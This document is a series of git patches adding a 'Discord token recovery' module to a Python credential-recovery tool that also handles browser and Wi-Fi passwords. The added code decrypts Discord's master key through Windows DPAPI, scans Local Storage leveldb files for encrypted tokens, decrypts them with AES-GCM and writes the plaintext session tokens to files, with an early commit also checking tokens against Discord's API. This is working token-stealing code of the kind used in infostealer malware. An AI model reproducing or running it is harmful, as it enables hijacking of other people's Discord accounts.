From f2f9b7d58152d6e747584dfa4b3e825f3c670692 Mon Sep 17 00:00:00 2001 From: Hirusha Adikari <36286877+hirusha-adi@users.noreply.github.com> Date: Sun, 19 Mar 2023 15:49:39 +0530 Subject: [PATCH 1/9] Update discord.py --- modules/applications/discord.py | 41 +++++++++++++++++++++++++++++++++ 1 file changed, 41 insertions(+) diff --git a/modules/applications/discord.py b/modules/applications/discord.py index e69de29..9122797 100644 --- a/modules/applications/discord.py +++ b/modules/applications/discord.py @@ -0,0 +1,41 @@ +import os + +from config import Constant +from config import ModuleManager + + +class DiscordRecovery(ModuleManager): + def __init__(self) -> None: + super().__init__(module_name="DiscordRecovery") + + self.banner(""" + _______ + |.-----.| + ||x . x|| + ||_.-._|| + `--)-(--` + __[=== o]___ + |:::::::::::|\ + `-=========-`() Recover Lost Discord Accounts + """) + + self.browsers_folder = os.path.join( + self.output_folder_user, 'browsers') + self.output_filename_csv = os.path.join( + self.browsers_folder, 'browser_bookmarks_all.csv') + self.output_filename_json = os.path.join( + self.browsers_folder, 'browser_bookmarks_all.json') + + if not os.path.isdir(self.browsers_folder): + os.makedirs(self.browsers_folder) + + def run(self): + try: + self.mdebug( + "Looking for the token in") + + self.mprint("Found Token") + except Exception as e: + self.merror( + f"Unable to locate any discord token: {e}. Skipping this module") + return From 4abbc90538175166be33a2f0dd9072bf044212cd Mon Sep 17 00:00:00 2001 From: Hirusha Adikari <36286877+hirusha-adi@users.noreply.github.com> Date: Sun, 19 Mar 2023 15:55:51 +0530 Subject: [PATCH 2/9] base code --- modules/applications/discord.py | 134 ++++++++++++++++++++++++++++---- 1 file changed, 118 insertions(+), 16 deletions(-) diff --git a/modules/applications/discord.py b/modules/applications/discord.py index 9122797..abca6bb 100644 --- a/modules/applications/discord.py +++ b/modules/applications/discord.py @@ -1,41 +1,143 @@ import os +from ctypes import windll +from ctypes import wintypes +from ctypes import byref +from ctypes import cdll +from ctypes import Structure +from ctypes import POINTER +from ctypes import c_char +from ctypes import c_buffer +from urllib.request import Request +from urllib.request import urlopen +from Crypto.Cipher import AES +from base64 import b64decode +from json import loads as json_loads +import threading +import re + from config import Constant from config import ModuleManager +class DATA_BLOB(Structure): + _fields_ = [ + ('cbData', wintypes.DWORD), + ('pbData', POINTER(c_char)) + ] + class DiscordRecovery(ModuleManager): def __init__(self) -> None: super().__init__(module_name="DiscordRecovery") self.banner(""" - _______ - |.-----.| - ||x . x|| - ||_.-._|| - `--)-(--` - __[=== o]___ + _______ ______ _ _ + |.-----.| (______)(_) | | + ||x . x|| _ _ _ ___ ____ ___ ____ __| | + ||_.-._|| | | | | |/___)/ ___) _ \ / ___) _ | + `--)-(--` | |__/ /| |___ ( (__| |_| | | ( (_| | + __[=== o]___ |_____/ |_(___/ \____)___/|_| \____| |:::::::::::|\ `-=========-`() Recover Lost Discord Accounts """) - self.browsers_folder = os.path.join( - self.output_folder_user, 'browsers') - self.output_filename_csv = os.path.join( - self.browsers_folder, 'browser_bookmarks_all.csv') - self.output_filename_json = os.path.join( - self.browsers_folder, 'browser_bookmarks_all.json') + self.browsers_folder = os.path.join(self.output_folder_user, 'browsers') + self.output_filename_csv = os.path.join(self.browsers_folder, 'browser_bookmarks_all.csv') + self.output_filename_json = os.path.join(self.browsers_folder, 'browser_bookmarks_all.json') if not os.path.isdir(self.browsers_folder): os.makedirs(self.browsers_folder) + def GetData(self, blob_out): + cbData = int(blob_out.cbData) + pbData = blob_out.pbData + buffer = c_buffer(cbData) + cdll.msvcrt.memcpy(buffer, pbData, cbData) + windll.kernel32.LocalFree(pbData) + return buffer.raw + + def CryptUnprotectData(self, encrypted_bytes, entropy=b''): + buffer_in = c_buffer(encrypted_bytes, len(encrypted_bytes)) + buffer_entropy = c_buffer(entropy, len(entropy)) + blob_in = DATA_BLOB(len(encrypted_bytes), buffer_in) + blob_entropy = DATA_BLOB(len(entropy), buffer_entropy) + blob_out = DATA_BLOB() + + if windll.crypt32.CryptUnprotectData(byref(blob_in), None, byref(blob_entropy), None, None, 0x01, byref(blob_out)): + return self.GetData(blob_out) + + def checkToken(token): + headers = { + "Authorization": token, + "Content-Type": "application/json", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0" + } + try: + urlopen(Request("https://discordapp.com/api/v6/users/@me", headers=headers)) + return True + except: + return False + + def DecryptValue(buff, master_key=None): + starts = buff.decode(encoding='utf8', errors='ignore')[:3] + if starts == 'v10' or starts == 'v11': + iv = buff[3:15] + payload = buff[15:] + cipher = AES.new(master_key, AES.MODE_GCM, iv) + decrypted_pass = cipher.decrypt(payload) + decrypted_pass = decrypted_pass[:-16].decode() + return decrypted_pass + + def GetDiscord(path, arg): + if not os.path.exists(f"{path}/Local State"): + return + + pathC = path + arg + + pathKey = path + "/Local State" + with open(pathKey, 'r', encoding='utf-8') as f: + local_state = json_loads(f.read()) + master_key = b64decode(local_state['os_crypt']['encrypted_key']) + master_key = CryptUnprotectData(master_key[5:]) + # print(path, master_key) + + for file in os.listdir(pathC): + # print(path, file) + if file.endswith(".log") or file.endswith(".ldb"): + for line in [x.strip() for x in open(f"{pathC}\\{file}", errors="ignore").readlines() if x.strip()]: + for token in re.findall(r"dQw4w9WgXcQ:[^.*\['(.*)'\].*$][^\"]*", line): + global Tokens + tokenDecoded = DecryptValue( + b64decode(token.split('dQw4w9WgXcQ:')[1]), master_key) + if checkToken(tokenDecoded): + if not tokenDecoded in Tokens: + Tokens += tokenDecoded + print(tokenDecoded, path) + + def run(self): try: - self.mdebug( - "Looking for the token in") + self.mdebug("Looking for the token in {}") + + local = os.getenv('LOCALAPPDATA') + roaming = os.getenv('APPDATA') + temp = os.getenv("TEMP") + discordPaths = [ + [f"{roaming}/Discord", "/Local Storage/leveldb"], + [f"{roaming}/Lightcord", "/Local Storage/leveldb"], + [f"{roaming}/discordcanary", "/Local Storage/leveldb"], + [f"{roaming}/discordptb", "/Local Storage/leveldb"], + ] + + Threadlist = [] + for patt in discordPaths: + a = threading.Thread(target=self.GetDiscord, args=[patt[0], patt[1]]) + a.start() + Threadlist.append(a) + self.mprint("Found Token") + except Exception as e: - self.merror( - f"Unable to locate any discord token: {e}. Skipping this module") + self.merror(f"Unable to locate any discord token: {e}. Skipping this module") return From d6d62f7c924a3110eb925cc5b83ceb192be05374 Mon Sep 17 00:00:00 2001 From: Hirusha Adikari <36286877+hirusha-adi@users.noreply.github.com> Date: Sun, 19 Mar 2023 15:58:31 +0530 Subject: [PATCH 3/9] remove online check --- modules/applications/discord.py | 30 ++++++++---------------------- 1 file changed, 8 insertions(+), 22 deletions(-) diff --git a/modules/applications/discord.py b/modules/applications/discord.py index abca6bb..76b74e8 100644 --- a/modules/applications/discord.py +++ b/modules/applications/discord.py @@ -8,8 +8,6 @@ from ctypes import POINTER from ctypes import c_char from ctypes import c_buffer -from urllib.request import Request -from urllib.request import urlopen from Crypto.Cipher import AES from base64 import b64decode from json import loads as json_loads @@ -66,19 +64,8 @@ def CryptUnprotectData(self, encrypted_bytes, entropy=b''): if windll.crypt32.CryptUnprotectData(byref(blob_in), None, byref(blob_entropy), None, None, 0x01, byref(blob_out)): return self.GetData(blob_out) - def checkToken(token): - headers = { - "Authorization": token, - "Content-Type": "application/json", - "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0" - } - try: - urlopen(Request("https://discordapp.com/api/v6/users/@me", headers=headers)) - return True - except: - return False - - def DecryptValue(buff, master_key=None): + + def DecryptValue(self, buff, master_key=None): starts = buff.decode(encoding='utf8', errors='ignore')[:3] if starts == 'v10' or starts == 'v11': iv = buff[3:15] @@ -88,7 +75,7 @@ def DecryptValue(buff, master_key=None): decrypted_pass = decrypted_pass[:-16].decode() return decrypted_pass - def GetDiscord(path, arg): + def GetDiscord(self, path, arg): if not os.path.exists(f"{path}/Local State"): return @@ -98,7 +85,7 @@ def GetDiscord(path, arg): with open(pathKey, 'r', encoding='utf-8') as f: local_state = json_loads(f.read()) master_key = b64decode(local_state['os_crypt']['encrypted_key']) - master_key = CryptUnprotectData(master_key[5:]) + master_key = self.CryptUnprotectData(master_key[5:]) # print(path, master_key) for file in os.listdir(pathC): @@ -107,12 +94,11 @@ def GetDiscord(path, arg): for line in [x.strip() for x in open(f"{pathC}\\{file}", errors="ignore").readlines() if x.strip()]: for token in re.findall(r"dQw4w9WgXcQ:[^.*\['(.*)'\].*$][^\"]*", line): global Tokens - tokenDecoded = DecryptValue( + tokenDecoded = self.DecryptValue( b64decode(token.split('dQw4w9WgXcQ:')[1]), master_key) - if checkToken(tokenDecoded): - if not tokenDecoded in Tokens: - Tokens += tokenDecoded - print(tokenDecoded, path) + if not tokenDecoded in Tokens: + Tokens += tokenDecoded + print(tokenDecoded, path) def run(self): From 0d6e2b57d10537685031aed1648a09c9b86cbcbd Mon Sep 17 00:00:00 2001 From: Hirusha Adikari <36286877+hirusha-adi@users.noreply.github.com> Date: Sun, 19 Mar 2023 16:04:43 +0530 Subject: [PATCH 4/9] add roaming and local dirs --- config/constants.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/config/constants.py b/config/constants.py index 51ff040..ff1f32a 100644 --- a/config/constants.py +++ b/config/constants.py @@ -30,7 +30,9 @@ class Constant: username = getuser() temp_dir = tempfile.gettempdir() - + local_dir = os.getenv('LOCALAPPDATA') + roaming_dir = os.getenv('APPDATA') + log_filename = f'{username}-{datetime}.log' # Final Base Stuff @@ -41,7 +43,7 @@ class Constant: # File Content seperator = "\n\n" + "="*20 + "\n\n" - + # Arguments # ----------------------------------- class Args: From db6540f8397ebe546b8c346cff03b80cfbe92d9c Mon Sep 17 00:00:00 2001 From: Hirusha Adikari <36286877+hirusha-adi@users.noreply.github.com> Date: Sun, 19 Mar 2023 16:19:46 +0530 Subject: [PATCH 5/9] test discord token recovery temp --- x.py | 2 ++ 1 file changed, 2 insertions(+) create mode 100644 x.py diff --git a/x.py b/x.py new file mode 100644 index 0000000..4b445b3 --- /dev/null +++ b/x.py @@ -0,0 +1,2 @@ +from modules import DiscordRecovery # applications +DiscordRecovery().run() \ No newline at end of file From f553c1cc9e010c78099e58bac567ac8cac0a9a16 Mon Sep 17 00:00:00 2001 From: Hirusha Adikari <36286877+hirusha-adi@users.noreply.github.com> Date: Sun, 19 Mar 2023 16:19:59 +0530 Subject: [PATCH 6/9] discord token recovery --- modules/__init__.py | 3 ++- modules/applications/__init__.py | 1 + 2 files changed, 3 insertions(+), 1 deletion(-) create mode 100644 modules/applications/__init__.py diff --git a/modules/__init__.py b/modules/__init__.py index 0f024df..b07a606 100644 --- a/modules/__init__.py +++ b/modules/__init__.py @@ -1,3 +1,4 @@ from .browsers import WebBookmarksRecovery, WebHistoryRecovery, ChromiumRecovery from .network import NetworkInfoRecovery, WifiPasswordRecovery -from .systeminfo import SystemInfoRecovery \ No newline at end of file +from .systeminfo import SystemInfoRecovery +from .applications import DiscordRecovery \ No newline at end of file diff --git a/modules/applications/__init__.py b/modules/applications/__init__.py new file mode 100644 index 0000000..e1ec69e --- /dev/null +++ b/modules/applications/__init__.py @@ -0,0 +1 @@ +from .discord import DiscordRecovery \ No newline at end of file From 462d7d3755e5d675aab7e68c240364fa65d19a73 Mon Sep 17 00:00:00 2001 From: Hirusha Adikari <36286877+hirusha-adi@users.noreply.github.com> Date: Sun, 19 Mar 2023 16:29:29 +0530 Subject: [PATCH 7/9] recover tokens --- modules/applications/discord.py | 75 ++++++++++++++++----------------- 1 file changed, 37 insertions(+), 38 deletions(-) diff --git a/modules/applications/discord.py b/modules/applications/discord.py index 76b74e8..b930548 100644 --- a/modules/applications/discord.py +++ b/modules/applications/discord.py @@ -39,12 +39,20 @@ def __init__(self) -> None: `-=========-`() Recover Lost Discord Accounts """) - self.browsers_folder = os.path.join(self.output_folder_user, 'browsers') - self.output_filename_csv = os.path.join(self.browsers_folder, 'browser_bookmarks_all.csv') - self.output_filename_json = os.path.join(self.browsers_folder, 'browser_bookmarks_all.json') - - if not os.path.isdir(self.browsers_folder): - os.makedirs(self.browsers_folder) + self.discord_folder = os.path.join(self.output_folder_user, 'applications', 'discord') + + if not os.path.isdir(self.discord_folder): + os.makedirs(self.discord_folder) + + self.discordInstallations = [ + [f"{Constant.roaming_dir}/Discord","Discord"], + [f"{Constant.roaming_dir}/Lightcord","Lightcord"], + [f"{Constant.roaming_dir}/discordcanary","DiscordCanary"], + [f"{Constant.roaming_dir}/discordptb","DiscordPTB"] + ] + + self.tokensTMP = '' + self.tokensCount = 0 def GetData(self, blob_out): cbData = int(blob_out.cbData) @@ -64,7 +72,6 @@ def CryptUnprotectData(self, encrypted_bytes, entropy=b''): if windll.crypt32.CryptUnprotectData(byref(blob_in), None, byref(blob_entropy), None, None, 0x01, byref(blob_out)): return self.GetData(blob_out) - def DecryptValue(self, buff, master_key=None): starts = buff.decode(encoding='utf8', errors='ignore')[:3] if starts == 'v10' or starts == 'v11': @@ -75,54 +82,46 @@ def DecryptValue(self, buff, master_key=None): decrypted_pass = decrypted_pass[:-16].decode() return decrypted_pass - def GetDiscord(self, path, arg): + def GetDiscord(self, path, savefname): if not os.path.exists(f"{path}/Local State"): + self.merror(f"[{savefname}] Client is not available at: {path}. Continuing...") return - pathC = path + arg + pathC = path + "/Local Storage/leveldb" pathKey = path + "/Local State" with open(pathKey, 'r', encoding='utf-8') as f: local_state = json_loads(f.read()) master_key = b64decode(local_state['os_crypt']['encrypted_key']) master_key = self.CryptUnprotectData(master_key[5:]) - # print(path, master_key) + self.mdebug(f"[{savefname}] Found and loaded master key") + tokens = [] for file in os.listdir(pathC): - # print(path, file) if file.endswith(".log") or file.endswith(".ldb"): + self.mdebug(f"[{savefname}] Searching in {file}") for line in [x.strip() for x in open(f"{pathC}\\{file}", errors="ignore").readlines() if x.strip()]: for token in re.findall(r"dQw4w9WgXcQ:[^.*\['(.*)'\].*$][^\"]*", line): - global Tokens - tokenDecoded = self.DecryptValue( - b64decode(token.split('dQw4w9WgXcQ:')[1]), master_key) - if not tokenDecoded in Tokens: - Tokens += tokenDecoded - print(tokenDecoded, path) - - + tokenDecoded = self.DecryptValue(b64decode(token.split('dQw4w9WgXcQ:')[1]), master_key) + if not tokenDecoded in self.tokensTMP: + self.tokensTMP += tokenDecoded + self.mdebug(f"[{savefname}] Found token in {file}") + tokens.append(tokenDecoded) + self.tokensCount += 1 + + with open(os.path.join(self.discord_folder, f"{savefname}.txt"), 'w', encoding='utf-8') as file: + file.write('\n'.join(tokens)) + self.mprint(f"[{savefname}] Saved {len(tokens)} tokens to {savefname}.txt") + def run(self): try: - - self.mdebug("Looking for the token in {}") - - local = os.getenv('LOCALAPPDATA') - roaming = os.getenv('APPDATA') - temp = os.getenv("TEMP") - discordPaths = [ - [f"{roaming}/Discord", "/Local Storage/leveldb"], - [f"{roaming}/Lightcord", "/Local Storage/leveldb"], - [f"{roaming}/discordcanary", "/Local Storage/leveldb"], - [f"{roaming}/discordptb", "/Local Storage/leveldb"], - ] - - Threadlist = [] - for patt in discordPaths: - a = threading.Thread(target=self.GetDiscord, args=[patt[0], patt[1]]) - a.start() - Threadlist.append(a) + self.mdebug(f"Starting to look for discord tokens") + + for patt in self.discordInstallations: + self.mdebug(f"Running `GetDiscord()` on {patt[1]} at {patt[0]}") + self.GetDiscord(path=patt[0], savefname=patt[1]) - self.mprint("Found Token") + self.mprint(f"Found a total of {self.tokensCount} Discord Tokens") except Exception as e: self.merror(f"Unable to locate any discord token: {e}. Skipping this module") From fe2f5c8f4f27aac43edbe65e63a239be5322d403 Mon Sep 17 00:00:00 2001 From: Hirusha Adikari <36286877+hirusha-adi@users.noreply.github.com> Date: Sun, 19 Mar 2023 16:32:42 +0530 Subject: [PATCH 8/9] add discord token recovery --- recover.py | 17 ++++++++++++++--- 1 file changed, 14 insertions(+), 3 deletions(-) diff --git a/recover.py b/recover.py index ac656f5..f79ee1a 100644 --- a/recover.py +++ b/recover.py @@ -7,7 +7,7 @@ from modules import ChromiumRecovery, WebHistoryRecovery, WebBookmarksRecovery # browser from modules import NetworkInfoRecovery, WifiPasswordRecovery # network from modules import SystemInfoRecovery # system - +from modules import DiscordRecovery # applications class args: browser_passwords = False @@ -16,6 +16,7 @@ class args: network_wifi = False network_info = False system_all = False + applications_discord = False def parser(): @@ -42,6 +43,7 @@ def parser(): --network-wifi, -nw Get Wifi Passwords --network-info, -ni Get All Network Information --system-all, -sa Get All Network Information and Wifi Passwords + --apps-discord, -ad Get Discord Tokens of Logged in Accounts """ argsv = sys.argv[:] @@ -114,7 +116,13 @@ def parser(): args.system_all = True else: args.system_all = False - + + # applications + if ("--apps-discord" in argsv) or ("-ad" in argsv): + args.applications_discord = True + else: + args.applications_discord = False + if ("--all" in argsv) or ("-a" in argsv): args.browser_bookmakrs = True args.browser_history = True @@ -123,7 +131,7 @@ def parser(): args.network_wifi = True args.system_all = True - if not (args.browser_passwords or args.browser_history or args.browser_bookmakrs or args.network_info or args.network_wifi or args.system_all): + if not (args.browser_passwords or args.browser_history or args.browser_bookmakrs or args.network_info or args.network_wifi or args.system_all or args.applications_discord): print(__help_message) sys.exit() @@ -174,6 +182,9 @@ def main(): if args.system_all: SystemInfoRecovery().run() + if args.applications_discord: + DiscordRecovery().run() + cexit() From 90aecf7331e6d500fdf2f0268b3d46ed946effb7 Mon Sep 17 00:00:00 2001 From: Hirusha Adikari <36286877+hirusha-adi@users.noreply.github.com> Date: Sun, 19 Mar 2023 16:33:04 +0530 Subject: [PATCH 9/9] Delete x.py --- x.py | 2 -- 1 file changed, 2 deletions(-) delete mode 100644 x.py diff --git a/x.py b/x.py deleted file mode 100644 index 4b445b3..0000000 --- a/x.py +++ /dev/null @@ -1,2 +0,0 @@ -from modules import DiscordRecovery # applications -DiscordRecovery().run() \ No newline at end of file